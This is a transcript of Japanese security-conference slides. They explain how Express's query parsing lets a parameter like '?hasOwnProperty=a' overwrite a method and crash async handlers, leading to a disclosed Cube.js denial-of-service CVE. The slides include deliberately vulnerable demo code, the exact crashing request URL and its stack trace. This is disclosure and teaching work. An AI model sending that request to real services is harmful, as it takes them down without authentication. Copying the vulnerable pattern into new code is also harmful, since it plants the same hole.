"違和感" から見つける脆弱性

2024/02/22 Security.Tokyo #3

Transcript

1. "違和感" から見つける脆弱性
 2024/02/22 Security.Tokyo #3 @y0d3n

2. @y0d3n $ whoami HN ： よーでん SNS ： @y0d3n / @y0d3n.bsky.social 興味： Web Security, Web Pentest
 近事： JavaScript 読むのが楽しくなってきた
 CVE初ゲット
 2
3. @y0d3n 今日の話題
 フレームワークの仕様に対して違和感を覚えてから、
 それを起因とした脆弱性を見つけるまでの話をします
 3
4. @y0d3n Node.js 用のWebアプリケーションフレームワーク
 もともとは仕様を知りたくてソースコードを読んでた
 4 今日の話題

5. @y0d3n module.exports = function query(options) { var opts = merge({}, options) var queryparse = qs.parse; (snip) return function query(req, res, next){ if (!req.query) { var val = parseUrl(req).query; req.query = queryparse(val, opts); } next(); }; }; 
 クエリパラメータのパースには
 qs を利用しているが・・・
 
 
 req.query https://github.com/expressjs/express/blob/deffce5704913df9e6b00aca5536345610222417/lib/middleware/query.js#L25-L47 
 5
6. @y0d3n 
 クエリパラメータのパースには
 qs を利用しているが・・・
 
 怪しい挙動を確認
 module.exports = function query(options) { var opts = merge({}, options) var queryparse = qs.parse; (snip) return function query(req, res, next){ if (!req.query) { var val = parseUrl(req).query; req.query = queryparse(val, opts); } next(); }; };
 req.query https://github.com/expressjs/express/blob/deffce5704913df9e6b00aca5536345610222417/lib/middleware/query.js#L25-L47 
 6
7. @y0d3n queryparse は(デフォルトで) parseExtendedQueryString 
 7
8. @y0d3n allowPrototypes を true に
 function parseExtendedQueryString(str) { return qs.parse(str, { allowPrototypes: true }); } parseExtendedQueryString https://github.com/expressjs/express/blob/506fbd63befe810783dba49d11159c7ad46c239a/lib/utils.js#L288-L292
 8
9. @y0d3n 
 'a[hasOwnProperty]=b'　をパースしたときに
 { a: { hasOwnProperty: 'b' } }　になる qs のオプション
 allowPrototypes
 https://github.com/ljharb/qs
 9
10. @y0d3n qs のドキュメントでは「注意して使ってね」
 
 WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
 
 https://github.com/ljharb/qs
 10
11. @y0d3n Express4 のドキュメントでは「入力値検証してね」
 
 As req.query’s shape is based on user-controlled input, all properties and values in this object are untrusted and should be validated before trusting. 
 For example, req.query.foo.toString() may fail in multiple ways, for example foo may not be there or may not be a string, and toString may not be a function and instead a string or other user-input.
 https://expressjs.com/ja/4x/api.html#req.query
 11
12. @y0d3n ということで
 12
13. @y0d3n 書いてみた const express = require('express'); const app = express(); app.get('/', (req, res) => { const name = req.query.hasOwnProperty("name") ? req.query.name : "guest"; return res.send("hello, " + name); }) app.listen(3000, () => { console.log("app listening on port 3000") })
 13 

14. @y0d3n req.query.hasOwnProperty ↓ req.query.__proto__.hasOwnProperty ↓ Object.prototype.hasOwnProperty ?name=yoden const express = require('express'); const app = express(); app.get('/', (req, res) => { const name = req.query.hasOwnProperty("name") ? req.query.name : "guest"; return res.send("hello, " + name); }) app.listen(3000, () => { console.log("app listening on port 3000") })
 14
15. @y0d3n req.query.hasOwnProperty ↓ 'test'
 ?hasOwnProperty=test const express = require('express'); const app = express(); app.get('/', (req, res) => { const name = req.query.hasOwnProperty("name") ? req.query.name : "guest"; return res.send("hello, " + name); }) app.listen(3000, () => { console.log("app listening on port 3000") })
 15
16. @y0d3n req.query.hasOwnProperty を上書きするようGET
 
 
 16
17. @y0d3n > req.query.hasOwnProperty is not a function 17
18. @y0d3n > req.query.hasOwnProperty is not a function 18 落ちない

19. @y0d3n さすがExpress、頑丈だぜ・・・
 19
20. @y0d3n Happy End... さすがExpress、頑丈だぜ・・・
 20
21. @y0d3n とはならない
 21
22. @y0d3n Expressのエラーハンドリング
 22
23. @y0d3n 同期処理 エラーが throw されたとき
 Express が catch してくれる
 app.get('/', (req, res) => { throw new Error('BROKEN') // Express will catch this on its own. })
 https://expressjs.com/ja/guide/error-handling.html
 23
24. @y0d3n 自分で catch する必要がある
 非同期処理 app.get('/', (req, res, next) => { setTimeout(() => { try { throw new Error('BROKEN') } catch (err) { next(err) } }, 100) }) https://expressjs.com/ja/guide/error-handling.html
 24
25. @y0d3n ということで(2)
 25
26. @y0d3n 書いてみた(2) const express = require('express'); const app = express(); app.get('/', async (req, res) => { const name = req.query.hasOwnProperty("name") ? req.query.name : "guest"; return res.send("hello, " + name); }) app.listen(3000, () => { console.log("app listening on port 3000") }) 26 

27. @y0d3n さっきとの差分
 書いてみた(2) const express = require('express'); const app = express(); app.get('/', async (req, res) => { const name = req.query.hasOwnProperty("name") ? req.query.name : "guest"; return res.send("hello, " + name); }) app.listen(3000, () => { console.log("app listening on port 3000") }) 27
28. @y0d3n req.query.hasOwnProperty を上書きするようGET
 
 
 28
29. @y0d3n > req.query.hasOwnProperty is not a function 29
30. @y0d3n > req.query.hasOwnProperty is not a function 30 落ちた！！！

31. @y0d3n DoSの完成
 
 「ベストプラクティス！」みたいな顔して req.query.hasOwnProperty みたいなコードがネットに大量 非同期処理を catch してないコードもネットに大量
 
 どちらもドキュメントで言及されているため Express の脆弱性とは言えない。
 でも、間違った利用方法をしているサービスでは脆弱性になる。
 31
32. @y0d3n 取得したCVE
 32
33. @y0d3n 
 
 　16k くらい
 未認証で叩けるメタ情報API
 CVE-2023-50709 app.get( `${this.basePath}/v1/meta`, userMiddlewares, async (req, res) => { if (req.query.hasOwnProperty('extended')) { await this.metaExtended({ context: req.context, res: this.resToResultFn(res), }); } else { await this.meta({ context: req.context, res: this.resToResultFn(res), }); } } );
 https://github.com/cube-js/cube/blob/c6327275f01cd7c2b43750f88b3d6b13809edba4/packages/cubejs-api-gateway/src/gateway.ts#L311-L327
 33
34. @y0d3n CVE-2023-50709 catch 無しの非同期処理
 
 
 app.get( `${this.basePath}/v1/meta`, userMiddlewares, async (req, res) => { if (req.query.hasOwnProperty('extended')) { await this.metaExtended({ context: req.context, res: this.resToResultFn(res), }); } else { await this.meta({ context: req.context, res: this.resToResultFn(res), }); } } );
 https://github.com/cube-js/cube/blob/c6327275f01cd7c2b43750f88b3d6b13809edba4/packages/cubejs-api-gateway/src/gateway.ts#L311-L327
 34
35. @y0d3n CVE-2023-50709 catch 無しの非同期処理
 
 上書きできる関数
 app.get( `${this.basePath}/v1/meta`, userMiddlewares, async (req, res) => { if (req.query.hasOwnProperty('extended')) { await this.metaExtended({ context: req.context, res: this.resToResultFn(res), }); } else { await this.meta({ context: req.context, res: this.resToResultFn(res), }); } } );
 https://github.com/cube-js/cube/blob/c6327275f01cd7c2b43750f88b3d6b13809edba4/packages/cubejs-api-gateway/src/gateway.ts#L311-L327
 35
36. @y0d3n http://localhost:4000/cubejs-api/v1/meta?hasOwnProperty=a
 36
37. @y0d3n http://localhost:4000/cubejs-api/v1/meta?hasOwnProperty=a
 TypeError: req.query.hasOwnProperty is not a function 
 at /cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:315:23 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.requestLogger (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2328:7) 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.logNetworkUsage (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2348:7) 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at CubejsServerCore.contextRejectionMiddleware (/cube/node_modules/@cubejs-backend/server-core/src/core/se at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.requestContextMiddleware (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2311 at processTicksAndRejections (node:internal/process/task_queues:96:5) 
 37
38. @y0d3n http://localhost:4000/cubejs-api/v1/meta?hasOwnProperty=a
 TypeError: req.query.hasOwnProperty is not a function 
 at /cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:315:23 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.requestLogger (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2328:7) 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.logNetworkUsage (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2348:7) 
 at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at CubejsServerCore.contextRejectionMiddleware (/cube/node_modules/@cubejs-backend/server-core/src/core/se at Layer.handle [as handle_request] (/cube/node_modules/express/lib/router/layer.js:95:5) 
 at next (/cube/node_modules/express/lib/router/route.js:137:13) 
 at ApiGateway.requestContextMiddleware (/cube/node_modules/@cubejs-backend/api-gateway/src/gateway.ts:2311 at processTicksAndRejections (node:internal/process/task_queues:96:5) 
 38 未認証のGETひとつで、
 アプリ丸ごと落ちるDoS

39. @y0d3n さいごに
 - 対象アプリのコードを読むだけが脆弱性探しじゃない。 フレームワークの "違和感" を探すのも道のひとつかも。 - 直感的でない仕様は間違った利用に繋がり、そして脆弱性になる（する） 39
40. @y0d3n さいごに
 - 対象アプリのコードを読むだけが脆弱性探しじゃない。 フレームワークの "違和感" を探すのも道のひとつかも。 - 直感的でない仕様は間違った利用に繋がり、そして脆弱性になる（する） - この DoS は Express5 になったら消えるので、放っておけば根絶されそう
 （query のパースは変わるし、 非同期処理で catch の必要が無くなってた）
 40